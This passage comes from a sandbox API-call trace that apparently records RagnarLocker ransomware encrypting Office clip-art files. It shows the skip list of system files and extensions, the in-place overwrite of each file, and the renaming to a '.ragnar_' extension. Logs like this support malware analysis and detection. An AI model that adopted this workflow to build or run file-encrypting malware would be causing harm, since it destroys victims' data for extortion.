liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.609] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.609] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1258, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1258, lpOverlapped=0x0) returned 1 [0085.610] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.610] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1258, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.610] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1258, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1258, lpOverlapped=0x0) returned 1 [0085.610] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1258, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.611] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.611] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1258, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.611] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.611] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.611] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.611] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.611] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.611] GetProcessHeap () returned 0x580000 [0085.611] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.611] CloseHandle (hObject=0xf4) returned 1 [0085.611] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" [0085.611] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.ragnar_FD7BD9FC" [0085.611] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.614] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187883.WMF", cAlternateFileName="")) returned 1 [0085.614] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.614] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187883.WMF" | out: lpString1="J0187883.WMF") returned="J0187883.WMF" [0085.614] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned=".WMF" [0085.614] lstrcmpiW (lpString1="J0187883.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.614] lstrcmpiW (lpString1="J0187883.WMF", lpString2="autorun.inf") returned 1 [0085.614] lstrcmpiW (lpString1="J0187883.WMF", lpString2="boot.ini") returned 1 [0085.615] lstrcmpiW (lpString1="J0187883.WMF", lpString2="bootfont.bin") returned 1 [0085.615] lstrcmpiW (lpString1="J0187883.WMF", lpString2="bootsect.bak") returned 1 [0085.615] lstrcmpiW (lpString1="J0187883.WMF", lpString2="bootmgr") returned 1 [0085.615] lstrcmpiW (lpString1="J0187883.WMF", lpString2="bootmgr.efi") returned 1 [0085.615] lstrcmpiW (lpString1="J0187883.WMF", lpString2="bootmgfw.efi") returned 1 [0085.615] lstrcmpiW (lpString1="J0187883.WMF", lpString2="desktop.ini") returned 1 [0085.615] lstrcmpiW (lpString1="J0187883.WMF", lpString2="iconcache.db") returned 1 [0085.615] lstrcmpiW (lpString1="J0187883.WMF", lpString2="ntldr") returned -1 [0085.615] lstrcmpiW (lpString1="J0187883.WMF", lpString2="ntuser.dat") returned -1 [0085.615] lstrcmpiW (lpString1="J0187883.WMF", lpString2="ntuser.dat.log") returned -1 [0085.615] lstrcmpiW (lpString1="J0187883.WMF", lpString2="ntuser.ini") returned -1 [0085.615] lstrcmpiW (lpString1="J0187883.WMF", lpString2="thumbs.db") returned -1 [0085.615] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.615] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.615] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.615] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.615] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.615] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.615] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf")) returned 0x20 [0085.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.616] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2100) returned 1 [0085.616] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x82b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.616] GetProcessHeap () returned 0x580000 [0085.616] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.616] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.617] VirtualAlloc (lpAddress=0x0, dwSize=0x834, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.617] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.617] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.617] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x834, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x834, lpOverlapped=0x0) returned 1 [0085.617] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.617] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x834, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.618] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x834, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x834, lpOverlapped=0x0) returned 1 [0085.618] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x834, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.618] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.618] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.618] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.618] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.618] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.618] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.618] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.618] GetProcessHeap () returned 0x580000 [0085.618] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.618] CloseHandle (hObject=0xf4) returned 1 [0085.618] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" [0085.618] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.ragnar_FD7BD9FC" [0085.618] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.619] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187893.WMF", cAlternateFileName="")) returned 1 [0085.619] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.619] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187893.WMF" | out: lpString1="J0187893.WMF") returned="J0187893.WMF" [0085.619] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned=".WMF" [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="autorun.inf") returned 1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="boot.ini") returned 1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="bootfont.bin") returned 1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="bootsect.bak") returned 1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="bootmgr") returned 1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="bootmgr.efi") returned 1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="bootmgfw.efi") returned 1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="desktop.ini") returned 1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="iconcache.db") returned 1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="ntldr") returned -1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="ntuser.dat") returned -1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="ntuser.dat.log") returned -1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="ntuser.ini") returned -1 [0085.619] lstrcmpiW (lpString1="J0187893.WMF", lpString2="thumbs.db") returned -1 [0085.620] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.620] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.620] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.620] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.620] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.620] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.620] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf")) returned 0x20 [0085.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.620] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5620) returned 1 [0085.620] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.620] GetProcessHeap () returned 0x580000 [0085.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.620] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.622] VirtualAlloc (lpAddress=0x0, dwSize=0x15f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.622] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15f4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15f4, lpOverlapped=0x0) returned 1 [0085.623] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.623] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.623] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15f4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15f4, lpOverlapped=0x0) returned 1 [0085.623] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.623] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.624] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.624] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.624] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.624] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.624] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.624] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.624] GetProcessHeap () returned 0x580000 [0085.624] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.624] CloseHandle (hObject=0xf4) returned 1 [0085.624] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" [0085.624] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.ragnar_FD7BD9FC" [0085.624] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.625] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187895.WMF", cAlternateFileName="")) returned 1 [0085.625] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.625] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187895.WMF" | out: lpString1="J0187895.WMF") returned="J0187895.WMF" [0085.625] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned=".WMF" [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="autorun.inf") returned 1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="boot.ini") returned 1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="bootfont.bin") returned 1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="bootsect.bak") returned 1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="bootmgr") returned 1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="bootmgr.efi") returned 1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="bootmgfw.efi") returned 1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="desktop.ini") returned 1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="iconcache.db") returned 1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="ntldr") returned -1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="ntuser.dat") returned -1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="ntuser.dat.log") returned -1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="ntuser.ini") returned -1 [0085.625] lstrcmpiW (lpString1="J0187895.WMF", lpString2="thumbs.db") returned -1 [0085.625] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.625] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.625] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.625] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.625] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.625] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.625] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf")) returned 0x20 [0085.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.626] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3472) returned 1 [0085.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.626] GetProcessHeap () returned 0x580000 [0085.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.626] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.629] VirtualAlloc (lpAddress=0x0, dwSize=0xd90, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.629] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.630] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.630] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd90, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd90, lpOverlapped=0x0) returned 1 [0085.630] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.630] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd90, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.630] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd90, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, 